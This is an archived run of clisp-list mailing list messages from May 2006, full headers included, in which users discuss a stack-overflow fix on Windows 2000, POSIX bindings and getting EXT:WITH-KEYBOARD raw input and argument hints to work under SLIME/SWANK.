25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 3 23:32:03 2006 X-Original-Date: Thu, 04 May 2006 09:33:46 +0300 Hoehle, Joerg-Cyril wrote: >> WinXP, mingw, libsigsegv 2.3 and your patch - all works! >> Great! Thanks. > > Good news, but wasn't your original bug report about MS-windows-2000? >> [1]> (VERSION) >> #> "Service Pack 4" :SERVICE-PACK-MAJOR 4 :SERVICE-PACK-MINOR 0 :SUITES >> NIL :PRODUCT-TYPE :WORKSTATION> > My MS-Windows-2k box system preferences also say NT5 SP4 build 2195. > > So do you still have some MS-w2k machine to test on? Result same! $ lisp.exe -M lispinit.mem -norc -q [1]> (defun fact(n)(if (zerop n) 1 (* n (fact (1- n))))) FACT [2]> (fact -1) *** - Program stack overflow. RESET [3]> (fact -1) *** - Program stack overflow. RESET [4]> (quit) Yyyaaahhhoooooo!!! Yep! Yep! Yep! :) Excelent! Many thanks! -- WBR, Yaroslav Kavenchuk. From sds@podval.org Thu May 04 06:08:48 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FbdZU-0002kY-8t for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 06:08:44 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FbdZU-0006OL-8U for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 06:08:44 -0700 Received: from rwcrmhc13.comcast.net ([216.148.227.153]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FbdZP-0001Lx-Lk for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 06:08:44 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc13) with ESMTP id <20060504130833m1300p9ueue>; Thu, 4 May 2006 13:08:33 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 1C580128595; Thu, 4 May 2006 09:08:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Dave Roberts Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <44594B78.6070101@vyatta.com> (Dave Roberts's message of "Wed, 03 May 2006 17:31:52 -0700") References: <445148F0.8070001@vyatta.com> <44568BBB.8060407@vyatta.com> <17495.12240.830125.48339@thalassa.informatimago.com> <44593708.7060509@vyatta.com> <17497.18520.720281.468909@thalassa.informatimago.com> <44594B78.6070101@vyatta.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dave Roberts Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: POSIX support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 4 06:09:08 2006 X-Original-Date: Thu, 04 May 2006 09:08:31 -0400 > * Dave Roberts [2006-05-03 17:31:52 -0700]: > > Pascal Bourguignon wrote: > >> Otherwise, you can get access to any C function with FFI. For >> example, on MacOSX, you could do: > > Yup, that was basically my plan, but if it's already done, I'll use > that instead. Always better to use pre-debugged code if it's > available. ;-) if all you care is linux, just build your clisp --with-module=bindings/glibc if you want more portability, you will probably need to extend syscalls. http://clisp.cons.org/impnotes/modules.html#mod-ffi-vs-c -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://camera.org http://thereligionofpeace.com http://openvotingconsortium.org http://iris.org.il http://pmw.org.il http://dhimmi.com http://ffii.org If a cat tells you that you lost your mind, then it is so. From dave@vyatta.com Thu May 04 13:57:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FbktC-0005l5-3E for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 13:57:34 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FbktC-0002Gs-3Z for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 13:57:34 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 6D27510E04FF for ; Thu, 4 May 2006 13:57:33 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 00934-01 for ; Thu, 4 May 2006 13:57:33 -0700 (PDT) Received: from [45.25.131.106] (dhcp-45-25-131-106.enet.interop.net [45.25.131.106]) by mail.vyatta.com (Postfix) with ESMTP id 0085B10E04FB for ; Thu, 4 May 2006 13:57:32 -0700 (PDT) Message-ID: <445A6AB3.5020404@vyatta.com> From: Dave Roberts User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-2.391 tagged_above=-10 required=6.6 autolearn=ham tests=[AWL=0.208, BAYES_00=-2.599] X-Spam-Score: -2.391 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 4 13:58:04 2006 X-Original-Date: Thu, 04 May 2006 13:57:23 -0700 I'm trying to do some development using EXT:WITH-KEYBOARD to get raw keystrokes from a terminal window running CLISP. I'm running under Linux with SLIME/SWANK and things aren't working as well as I'd like. I have tried: 1. Just running under SLIME. The SLIME window doesn't seem to be attached to the EXT:*KEYBOARD-INPUT* stream, so this fails utterly (hangs SLIME running in Emacs, effectively, requiring an Emacs restart). 2. I also tried running CLISP in a separate terminal window and then loading SWANK manually and then attaching SLIME from Emacs. This all works and it seems like I can sort of read characters from the terminal window in which I started CLISP. The terminal doesn't seem to get put into raw mode, however. It looks like line discipline is still in effect and to get my code to "see" a character, I have to hit , but then of course the is in the input stream (as Ctrl-J, interestingly, not #\Return). 3. I have tried my code just running under the CLISP REPL in a terminal window and things work just as expected in this case, but then I can't use SLIME and my development style is back to editing code in Emacs and manually re-loading a file in CLISP. Does anybody have any suggestions to help SLIME and EXT:*KEYBOARD-INPUT* work together? Thanks, -- Dave From Devon@Jovi.Net Thu May 04 14:36:02 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FblUO-0001Go-Lo for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 14:36:00 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FblUO-0003cV-NW for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 14:36:00 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FblUN-00039U-6h for clisp-list@lists.sourceforge.net; Thu, 04 May 2006 14:36:00 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k44LZRcN057892 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 May 2006 17:35:27 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k44LZRwX057889; Thu, 4 May 2006 17:35:27 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200605042135.k44LZRwX057889@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Dave Roberts CC: clisp-list@lists.sourceforge.net In-reply-to: <445A6AB3.5020404@vyatta.com> (message from Dave Roberts on Thu, 04 May 2006 13:57:23 -0700) Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD References: <445A6AB3.5020404@vyatta.com> X-Spam-Status: No, score=-3.2 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Thu, 04 May 2006 17:35:41 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 4 14:37:02 2006 X-Original-Date: Thu, 4 May 2006 17:35:27 -0400 (EDT) I am using SLIME for the first time and it tends to wedge EMACS so badly all I can do is kill the EMACS process. It also gets in a state where all SLIME commands crash because some variable it expects to be a buffer, isn't. Not ready for prime time. Dave, Best consult source code of existing terminal programs, the terminal driver modes are quite hairy. For unix, you could Google [terminal raw tty ioctl] for info or perhaps look for telnet.c, telnet.lisp, etc. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote To: clisp-list@lists.sourceforge.net Subject: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD Date: Thu, 04 May 2006 13:57:23 -0700 I'm trying to do some development using EXT:WITH-KEYBOARD to get raw keystrokes from a terminal window running CLISP. I'm running under Linux with SLIME/SWANK and things aren't working as well as I'd like. I have tried: 1. Just running under SLIME. The SLIME window doesn't seem to be attached to the EXT:*KEYBOARD-INPUT* stream, so this fails utterly (hangs SLIME running in Emacs, effectively, requiring an Emacs restart). 2. I also tried running CLISP in a separate terminal window and then loading SWANK manually and then attaching SLIME from Emacs. This all works and it seems like I can sort of read characters from the terminal window in which I started CLISP. The terminal doesn't seem to get put into raw mode, however. It looks like line discipline is still in effect and to get my code to "see" a character, I have to hit , but then of course the is in the input stream (as Ctrl-J, interestingly, not #\Return). 3. I have tried my code just running under the CLISP REPL in a terminal window and things work just as expected in this case, but then I can't use SLIME and my development style is back to editing code in Emacs and manually re-loading a file in CLISP. Does anybody have any suggestions to help SLIME and EXT:*KEYBOARD-INPUT* work together? Thanks, -- Dave ------------------------------------------------------- Using Tomcat but need to do more? Need to support web services, security? Get stuff done quickly with pre-integrated technology to make your job easier Download IBM WebSphere Application Server v.1.0.1 based on Apache Geronimo http://sel.as-us.falkag.net/sel?cmd=lnk&kid=120709&bid=263057&dat=121642 _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Fri May 05 06:59:28 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fc0q8-0005Qy-FU for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 06:59:28 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fc0q8-00040E-Le for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 06:59:28 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fc0q4-00034Z-5x for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 06:59:25 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 5 May 2006 15:59:11 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 5 May 2006 15:59:11 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Lisp-Hacker@Jovi.Net Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 5 07:00:04 2006 X-Original-Date: Fri, 5 May 2006 15:59:05 +0200 Devon wrote: >I am using SLIME for the first time and it tends to wedge EMACS so >badly all I can do is kill the EMACS process. Not ready for prime time. Your experience certainly is not typical. Maybe some version conflict between Emacs and Emacs or CLISP? I'm using slime-1.0 with Emacs-20.7 on MS-Windows and some n month old slime with Emacs-21.4(?) on Linux. In comp.lang.lisp, plenty of people report using one or the other version of SLIME and Emacs and CLISP successfully. I've heard SLIME-2.0 is out. I didn't try it out yet. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri May 05 07:13:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fc145-0007Hf-HJ for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 07:13:53 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fc141-00024Y-Sn for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 07:13:50 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 5 May 2006 16:13:32 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 5 May 2006 16:13:32 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dave@vyatta.com Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 5 07:14:06 2006 X-Original-Date: Fri, 5 May 2006 16:13:24 +0200 Dave Roberts wrote: >I'm trying to do some development using EXT:WITH-KEYBOARD to get raw=20 >keystrokes from a terminal window running CLISP. >3. I have tried my code just running under the CLISP REPL in a=20 >terminal window and things work just as expected in this case, Good to hear, because Don Cohen reported broken functionality recently = (or was it just missing from one particular distribution?). > I'm running under Linux=20 >with SLIME/SWANK and things aren't working as well as I'd like. How do you image things would work? Where do you expect to type raw = input? SLIME uses TCP to talk between Emacs and CLISP. Where does a terminal = stream fit in? >2. I also tried running CLISP in a separate terminal window and then=20 >loading SWANK manually and then attaching SLIME from Emacs. >The terminal doesn't seem to get put into raw mode, however. That sounds like a bug, a priori. I just tried this in MS-Windows with clisp-2.38 and it worked fine = (using an old slime-1.2.1, ignoring errors during compilation). The first keystroke (in the DOS shell window) lead to ; CLISP Port: 4005 Pid: nil CL-USER> (ext:with-keyboard (read-char ext:*keyboard-input*)) #S(SYSTEM::INPUT-CHARACTER :CHAR #\r :BITS 0 :FONT 0 :KEY NIL) No need for CR or LF. I'll try out Linux this week-end. Regards, J=F6rg H=F6hle. From dave@vyatta.com Fri May 05 08:23:22 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fc29K-0007YK-NH for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 08:23:22 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fc29K-0005AD-NW for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 08:23:22 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fc29K-0004xN-FA for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 08:23:22 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id B845D10E0500; Fri, 5 May 2006 08:23:21 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 32199-07; Fri, 5 May 2006 08:23:21 -0700 (PDT) Received: from mail.vyatta.com (mail.vyatta.com [69.59.150.139]) by mail.vyatta.com (Postfix) with ESMTP id 6AEB410E04FC; Fri, 5 May 2006 08:23:21 -0700 (PDT) Message-ID: <15729437.31146842601409.JavaMail.root@mail.vyatta.com> From: Dave Roberts To: Joerg-Cyril Hoehle Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD Cc: Lisp-Hacker@Jovi.Net, clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-4.32 tagged_above=-10 required=6.6 autolearn=ham tests=[ALL_TRUSTED=-1.8, AWL=0.079, BAYES_00=-2.599] X-Spam-Score: -4.32 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 5 08:24:06 2006 X-Original-Date: Fri, 5 May 2006 08:23:21 -0700 (PDT) ----- Joerg-Cyril Hoehle wrote: > Devon wrote: > > >I am using SLIME for the first time and it tends to wedge EMACS so > >badly all I can do is kill the EMACS process. Not ready for prime > time. > Your experience certainly is not typical. Maybe some version conflict > between Emacs and Emacs or CLISP? > I'm using slime-1.0 with Emacs-20.7 on MS-Windows > and some n month old slime with Emacs-21.4(?) on Linux. > In comp.lang.lisp, plenty of people report using one or the other > version of SLIME and Emacs and CLISP successfully. Yup, I have to agree. I use SLIME successfully with CLISP on both Windows and Linux all the time. I'm only having trouble when I'm trying to pair it with EXT:WITH-KEYBOARD, which is not totally unexpected given the way SWANK interacts with the standard streams under the hood. Anyway, let me repeat that Devon's problem is not the problem I'm having. > I've heard SLIME-2.0 is out. I didn't try it out yet. SLIME 2.0 was more of a naming thing than anything else. It seems like they just wanted something more modern to post in tarball form on the SLIME website. If you have been following SLIME CVS, then you'll find it to be a pretty artificial milestone. -- Dave From dave@vyatta.com Fri May 05 08:32:53 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fc2IX-0000AJ-J6 for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 08:32:53 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fc2IX-0005Gj-K8 for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 08:32:53 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fc2IV-0007bZ-RT for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 08:32:53 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 9F73310E04FC; Fri, 5 May 2006 08:32:51 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 32197-08; Fri, 5 May 2006 08:32:46 -0700 (PDT) Received: from mail.vyatta.com (mail.vyatta.com [69.59.150.139]) by mail.vyatta.com (Postfix) with ESMTP id 4059910E04FA; Fri, 5 May 2006 08:32:46 -0700 (PDT) Message-ID: <15262214.61146843166209.JavaMail.root@mail.vyatta.com> From: Dave Roberts To: Joerg-Cyril Hoehle Subject: Re: [clisp-list] SLIME/SWANK and EXT:WITH-KEYBOARD Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-4.316 tagged_above=-10 required=6.6 autolearn=ham tests=[ALL_TRUSTED=-1.8, AWL=0.083, BAYES_00=-2.599] X-Spam-Score: -4.316 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 5 08:33:03 2006 X-Original-Date: Fri, 5 May 2006 08:32:46 -0700 (PDT) ----- Joerg-Cyril Hoehle wrote: > Dave Roberts wrote: > >I'm trying to do some development using EXT:WITH-KEYBOARD to get raw > > >keystrokes from a terminal window running CLISP. > > >3. I have tried my code just running under the CLISP REPL in a > >terminal window and things work just as expected in this case, > > Good to hear, because Don Cohen reported broken functionality recently > (or was it just missing from one particular distribution?). Okay, I'll watch for that. I will admit that I haven't pushed on it much yet, so there may still be something broken which Don was running into but my simple tests haven't yet found it. I got diverted into trying to make SLIME work. BTW, I'm currently using CLISP 2.38 under Fedora Core, the stock version from Fedora Extras, installed via Yum. > > I'm running under Linux > >with SLIME/SWANK and things aren't working as well as I'd like. > > How do you image things would work? Where do you expect to type raw > input? > SLIME uses TCP to talk between Emacs and CLISP. Where does a terminal > stream fit in? Right, of course. It wasn't totally unexpected to have it not work when CLISP was started as an inferior Lisp under Emacs. I just wanted to list that as an exhaustive test case in my debugging. ;-) My expected use case would be that you'd start CLISP on a terminal and then load and start SWANK, then load and start SLIME in Emacs, telling it to connect to the already-running SWANK. Then you'd enter keystrokes in the terminal window. > >2. I also tried running CLISP in a separate terminal window and then > > >loading SWANK manually and then attaching SLIME from Emacs. > >The terminal doesn't seem to get put into raw mode, however. > That sounds like a bug, a priori. > > I just tried this in MS-Windows with clisp-2.38 and it worked fine > (using an old slime-1.2.1, ignoring errors during compilation). > The first keystroke (in the DOS shell window) lead to > ; CLISP Port: 4005 Pid: nil > CL-USER> (ext:with-keyboard (read-char ext:*keyboard-input*)) > #S(SYSTEM::INPUT-CHARACTER :CHAR #\r :BITS 0 :FONT 0 :KEY NIL) > No need for CR or LF. > > I'll try out Linux this week-end. Excellent, Joerg. Thank you. BTW, I was running CLISP under a Gnome Terminal instance, if that matters. I wouldn't think that it would, but just in case you're running Linux with KDE or with a raw text console. This last case is actually the preferred way of working for me. I'll eventually be deploying this on a separate box from my development system and it would be great to be able to attach to a remote SWANK and have it all work. Thanks for all your help. -- Dave From dave@vyatta.com Fri May 05 16:06:30 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fc9NW-0006zS-2M for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 16:06:30 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fc9NW-0001WH-3Q for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 16:06:30 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fc9NU-0005lq-P5 for clisp-list@lists.sourceforge.net; Fri, 05 May 2006 16:06:30 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 70DFE10E04FC for ; Fri, 5 May 2006 16:06:19 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30983-01 for ; Fri, 5 May 2006 16:06:15 -0700 (PDT) Received: from [10.0.0.85] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id 1A05C10E04FA for ; Fri, 5 May 2006 16:06:15 -0700 (PDT) Message-ID: <445BDA63.3010409@vyatta.com> From: Dave Roberts User-Agent: Mozilla Thunderbird 1.0.8-1.1.fc4 (X11/20060501) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-2.587 tagged_above=-10 required=6.6 autolearn=ham tests=[AWL=0.012, BAYES_00=-2.599] X-Spam-Score: -2.587 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Argument names in SLIME function help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 5 16:07:04 2006 X-Original-Date: Fri, 05 May 2006 16:06:11 -0700 Sorry for the barrage of SLIME-related questions to this list lately, but I had another. What do I have to do with CLISP such that SLIME will report informative argument names whenever it does its thing as I'm typing standard functions? For instance, I was just typing in a call to ASSOC and SLIME helpfully showed me the function prototype as "(assoc arg0 arg1 &key test test-not key)". Obviously, the "arg0" and "arg1" are not very helpful, particularly when you can't remember the order of the arguments. In this particular example, it isn't a big deal, but I have been running into this and I hadn't been realizing how much I was relying on this for prompting until it was gone. SBCL shows me informative argument names and that helps me remember things better. This is particularly useful when you're dealing with ELT and NTH, which have things reversed and I can never remember which is which. I'm assuming that SLIME gets the argument information from the Lisp that it's interacting with, and that for some reason CLISP is just saying "arg0" and "arg1". I'm guessing that there is probably a compile-time switch somewhere for CLISP that will cause it to provide useful info, probably at the expense of larger image size to store all the argument names. -- Dave From nobody@bunker.frogspace.net Sat May 06 02:43:28 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FcJJu-0002On-IV for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 02:43:26 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FcJJu-0005Ao-L4 for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 02:43:26 -0700 Received: from bunker.frogspace.net ([64.6.234.2]) by mail.sourceforge.net with esmtps (TLSv1:DES-CBC3-SHA:168) (Exim 4.44) id 1FcJJs-0000JS-EE for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 02:43:26 -0700 Received: from nobody by bunker.frogspace.net with local (Exim 4.44) id 1FcJJr-0005xW-MG for clisp-list@lists.sourceforge.net; Sat, 06 May 2006 02:43:23 -0700 To: clisp-list@lists.sourceforge.net From: adab Reply-To: MIME-Version: 1.0 